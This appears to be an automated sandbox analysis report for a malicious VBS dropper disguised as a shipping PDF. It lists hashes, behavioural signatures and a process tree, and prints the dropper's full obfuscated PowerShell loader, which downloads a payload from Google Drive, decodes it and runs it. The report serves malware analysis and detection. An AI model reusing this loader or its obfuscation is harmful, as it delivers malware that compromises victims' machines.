Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
120s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
08/05/2024, 08:46
Static task
static1
Behavioral task
behavioral1
Sample
SHIPPING DOCUMENT_PDF.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
SHIPPING DOCUMENT_PDF.vbs
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
SHIPPING DOCUMENT_PDF.vbs
Resource
win10v2004-20240419-en
General
-
Target
SHIPPING DOCUMENT_PDF.vbs
-
Size
34KB
-
MD5
a6b12f631b09eb34cca4e10fbf1c7439
-
SHA1
0aacba2d2405b2cf27dc9faa06669c4f381c1d9a
-
SHA256
3161d5d0a756aeaf55bd427ec30f35e7a2cb307d88e36bddfd0dfebedacdf450
-
SHA512
76b40ad860e40028af3878c09d2160fc88ee5715afae412c5e8a1d11233bdc1ae459978b00ba1ff0d1eed638a396ec973130a009523886088e1c81019a64aadb
-
SSDEEP
384:XE/p5dFHav1y1TlJ+D3mrSh9sKrhtkdd/jJJEhMkCqB0HTP7/JQ:0/pRXb5Wn9rhtkdd/EhM3DxQ
Malware Config
Signatures
-
Blocklisted process makes network request 3 IoCs
flow pid Process 3 2880 WScript.exe 7 2168 powershell.exe 9 2168 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 6 drive.google.com 7 drive.google.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2168 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2168 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2880 wrote to memory of 2168 2880 WScript.exe 28 PID 2880 wrote to memory of 2168 2880 WScript.exe 28 PID 2880 wrote to memory of 2168 2880 WScript.exe 28 PID 2168 wrote to memory of 2552 2168 powershell.exe 30 PID 2168 wrote to memory of 2552 2168 powershell.exe 30 PID 2168 wrote to memory of 2552 2168 powershell.exe 30
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SHIPPING DOCUMENT_PDF.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Crossgrainedness = 1;$Consolidations='S';$Consolidations+='ubstrin';$Consolidations+='g';Function Pinligst242($Hexagyn){$Europrojektet=$Hexagyn.Length-$Crossgrainedness;For($Regningsarterne122=5;$Regningsarterne122 -lt $Europrojektet;$Regningsarterne122+=6){$Udspejdendes+=$Hexagyn.$Consolidations.Invoke( $Regningsarterne122, $Crossgrainedness);}$Udspejdendes;}function Sokes($Fablernes){& ($Arbejdsstederne) ($Fablernes);}$disconformably=Pinligst242 'Bana,M,cteno ,nogzp nkti do elMalaalEkskuaCar a/Under5treer.Count0ample B,nzi(M huaWunproi WekanAntiad EkspoTe.evwi telsTotal LinieNDoggiT eteo Ankus1Stati0 Vand.Nonco0R.tch;Sters KoaliWFlukti Misbn Afl 6 Ou f4studi;Sala, EntoxStaph6W.yla4Mdere;Sp ai FimsrDouchvVarm.:Tillg1Dr,ge2Varie1 ydri.Cheek0tyver) R so ,redG .dioeUrbefcUdlsnkAnve,oTilba/Vaske2Grena0.ekst1Tibia0 .avi0 ,urf1Purpo0Sphyg1Dybde S royFSammeiKnirkr afm esterlf Af roLookox hilo/Striv1Javan2Kated1j ngl.Abcsp0U,der ';$sundhedskommissioner=Pinligst242 'GelabUAmoursKatrie,caporAedea-SalliANyordg.ystee WattnEr vetKompl ';$Avowably=Pinligst242 ',nguih DesttKlovstToxitpOpdels Swel: Udel/Mods./Ass rdOutlir BombiSkil,v B eveUdvik.UncomgBundgo ffico NoddgRad,cl bereeAare..Ju efcSeksao F sim Snoo/ FolkugvinkcFutu.? MerseHaemoxTil.kpMasseoUnre,rA.optt Katt=Underd ,pleoHundrw Irrin RoislSkydeoKo onaHundedDiato&er itiGastrd skov=Timef1 HenlYMunketLamme4 UdskgBillehSkolasWahooZKobelTDdsdrbAlfedgParadCVoc.tK skruIferre8Sattv8 EpilWKonsuVskribbPreenmDep,rRVildtCVicev8 AfloHdisbaBGrimaoPinn,IEliciS BusduAndenNFlystWEllip4AlittKOvera ';$Hortorium=Pinligst242 'firep>Besmi ';$Arbejdsstederne=Pinligst242 'ScroliSt.ifePilnex Slac ';$Giggish='fielder';Sokes (Pinligst242 'UnimpSMislyeUerhotTmdet- .lteCKremeo unwonGainwt Parae forhnSt.iktzo el Clear-.unknPBi,teaPelvetKas,ehUdta, StephTModem:she,t\WrithD Sk,deFo,rtfEftereO,erlcPens.aB,ddetForbloStranrAdvis.IndbotRundkxAscent F.rv sa.le-FllesVKovaraFor.llAfblsuJuiceeD nin Overt$ObligG obaiGaufrgUndergFjolsiCrys,sPretyhWhats;Produ ');Sokes (Pinligst242 'Wirlii vaccfDomst Anigo( teletBrusheAbe.isOffict Til.-Amts,pStanda SlidtJenskhHaanl M,galTR ngs: Orie\ ochuDUnstue VertfPrefaeMariccEvneracswtotBypl.osvaltrLiney.OmgantUmusixSkn atindk,) Soup{Kredse Meikx,oldai Simptpalud} San.;Flu,r ');$peto = Pinligst242 ' MasseLordecDragthVa utoMater Aflu%TonefaUdsagpH lpepdesardConfaaForsit Insta Choo%tel.f\InundT Darkrpim eiBedriv HjlaiMeshwaSten lOplysiSe.estWhorieTeksttRustie.abrinNavnesTaste.MediekRobo.oBarsenSulfa Facia&Neddy&Konst TranseHennicUsaa,h GardoKniv U fl$Opini ';Sokes (Pinligst242 ' Cann$Op.olgSiphol,entgoFo,fab Sl,naSikkelFdsel:Ne vrCTankraEle,tl.annet Ov,rhErgonrFor ioparacp.unjc=spinu(PolyocKvindmBadeldC tto Tiddl/ Strgcbloka Horse$PrestpSel,zeTr aktSlvstoIzaak)L,ver ');Sokes (Pinligst242 ' Fugt$Cymesg Br tlFedteoBetjeb,fornaDolthlMulct:F,gleSK ibltDipl.rAfsteoVerdef.obbeiIndussHastik potp=Trans$Gurk,A,utsevO.ecroankylwUrbanaVe,bebM,snjlYttr yTokon.salgss TrvapBumbllgolfei.otentSmurt(Vrdik$ Yob,HBenkaoBarylrh,rset SyvsoTndstrD,lbeiudskru ThalmSemin)Afhst ');$Avowably=$Strofisk[0];Sokes (Pinligst242 'C,upu$KonsugOverwlFru goda.asbSublaaWagonlHaard:gironUSpatinS attdTrefoeBowshr vol,l R,stg ActigAnalyeNeutrnsymbodBoligeperidsOri.n= GaraN Arbee,ogmawFinge-AnaloOSyngnbPol oj KonteL plucUnerrtSmerv Pyr Sbeg,ly Lag sPh,totKrseleAlloemPatro.ForhaN etaceIncont,olar.S lfiWMi.roeKjoleb.tubmC Rarel ipteiFremoe barsnOpr,ltVarni ');Sokes (Pinligst242 'Mawky$ TubeU SavlnMaterdUncones,edjrSyvenlEyl,fg Monog Pilue Th.anEntredBr,mseSuasisAnraa.,eligHNon,nePresbaFlisedRotereStonerKron,sNonch[ Stud$Medi,s brneu uasinFr.ncdMatinhInveieAfmagdtelsos ma.ikBellioVa ormTela.mOverciTrffesColetsDestriP.ntio ,utrnRepu,eOpfinrCityt]Arveg=J ram$CentrdSpealiSwordsWallacLi ieomnst npropofVanemoL nderProsemStempaLakinbJi,belnytesyHalvf ');$Patao=Pinligst242 'unb.aUAzid.nfinjudBradyeNudisrElabolMe,ahgde azgUnbapeBolignOschedJenaseLlings Plum.ProtoD Bymso Darrw,fsavn MsinldokumoSansea adsd Eph.F .rediFo stlcalvaePneum( Stvl$Dem sAMode.vBespro.astrwBortgaE uisbKa melGrundyPseud, ,abi$,nsomHs.linoB,duimNo cooca,biePerryrFo,ieoVinyitkibesi SoldcForsk) Repr ';$Patao=$Calthrop[1]+$Patao;$Homoerotic=$Calthrop[0];Sokes (Pinligst242 ' in.e$PostogSeceslColonoReallbTrkgraRockelQuino:MeasuLGerm,eColimgHett,aCongetAfg si .catoskib,n RevoeHaan.r UkamnVkkele,idsisSuper8.orls0Ombes=Moca,(DelfiTDowncetr kks Bengt,hirl-San aPm untaKvajetEngelhHelis Readd$,artsHBanemoKapi,m GrupoAjlefeDiamar EvenoEnsomtRepe i Trelc Dumb) Sphe ');while (!$Legationernes80) {Sokes (Pinligst242 ' Unse$ DelfgVaebnlReorgoIodoebVand,aApokrlAspec:PrecoETeleftSouchiCa.cikFredskS,miceN,zisr Unjos comp= Slut$Rejset IsolrUrettuDisoreTyrke ') ;Sokes $Patao;Sokes (Pinligst242 'SympaS.andpt S.ipaColl,rtrendt Unca-MonitS BolilBemyneBilageAutoppImpre Myst4u pat ');Sokes (Pinligst242 'Unsul$Torpeg SenslT.ekkoTold bNont a Coell Ton,:ThermLEksotegadeagMilitaPyometalk,liTaplboAffyrn TereePseudrH idenMiswre DromsE,dys8 Manw0Indet=Scand(PlaywTDogede Nedss BlottUnsto-Noto,P BreaaO,krvtTol,vhFrkke Fugle$TelesH FjeroLejermM,todoSidereGu,tarI izeoBubbltP ofii Aeroc Unpr)Klemn ') ;Sokes (Pinligst242 'Astou$SadelgnightlAfskeo,kabsbOverda UnrelF rce:Tour,NOpdigoFaitsyKinetfOktavuIndv.lAhval=Tabo,$Sten.gBlokoloppa o SmagbMu.ika DatalCompu:Un.miJKultuuBarresMis vtBravoitrunkcNo.asi daala,elefr,coloyMisotsBuffohRattliA.tikp Sta,6Paast4Raast+S.ids+Indef%,ekla$Flui.SFundetEf err .veroStvsufSnderiOsrics.kolakOpr k.T.ykicMem,ro SluduRottenSpor.tslger ') ;$Avowably=$Strofisk[$Noyful];}Sokes (Pinligst242 'Mothe$PangagTje.slPerveoCockabRarelaTer,ilSvagb:P,ramTmisbia splekskippnDekedeIzaugmS.allm.equoe KlimlMateriBactegKomplh AktoeErkendBakissSkaft .ilmm=Overs TaarG TosseTeleftInder-ForynCGippeoNarthnRepubt MissebumsenSempitRefr, Se v$tomboHalt,ro D,mam BrndoSkr,de BramrSolipoMedictWhykeiZoolocHyldn ');Sokes (Pinligst242 'Filla$DollagT.eeklSpecioEnhedbKons a.randlDataf:WhumpSSs.sttPol.caMaybrlsulpha Bakkgnordum .retaKryst Sadne=Sy.pa ,ulsk[ UnfaSastraySterlsDan stMarkeeMelodmRette.Gl,ssCFa ilo LyttnSolbavPre.se InisrC,clitSko.j]Uncla: Chu,:Fo keFL,ndarBran,otilv.mLunnfBsnudea WaltsDisgaerideb6 Tita4La enSHa.dltTapi rMea oiIndenn olegAnato( Fan $ HinkTSkubbaAflsekMi,danAt erePassimTidsfmSlaa eJeapolTilhoiUnquagInda.hZoopheRhumbdAfgi.s ichi)skand ');Sokes (Pinligst242 'penne$ xtengscat,l notooPrescbBaandaTailslCoplo:PreprSkedgeaSkyttl Im.ugPseudsOmsttgPrec,aAmtsksF,men Telom=Turne perci[ KlarSSpermySponssKennitFo treSu,nym Fa,t.OverpT OvereRuth.xReasotHerba.fo,leESpaltn HrescKemoto SnerdMe taiCabl nBureag Sn s]malmi:Vlver:NjedeAUnd,rSV bisC InfiIB andITankr.ConfeGEscrie bac,tSyne.S Bro,tSu.plr LedniInfranDigamg ,udd(Al.uv$ nackS BalktHurt,aLaesnlDodekast,rvgDrik.mSl nga ,xul)Fr ca ');Sokes (Pinligst242 'Sdeba$OpinigSkvadlHaz aoTimotbHymieaHerrelFra,k:LeiotBG,ldelAcumeeUnwedeKrselrTilbyn ulpueFrid,sBr.vf= ,exa$LagerSNonblaBillel Adv gTypens uchig IndeaEkseksPreed.GuamasSyngnuVokalbFor,ksS,raatP,ther CeraiSmacknSympagColli(Strkn3Swo s1Infor0udgyd5Va ut7 U.sa1Pseud, Path2Paunc9Cont.5 Prer4sorce0Setip)Popul ');Sokes $Bleernes;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2168 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trivialitetens.kon && echo $"3⤵PID:2552
-
-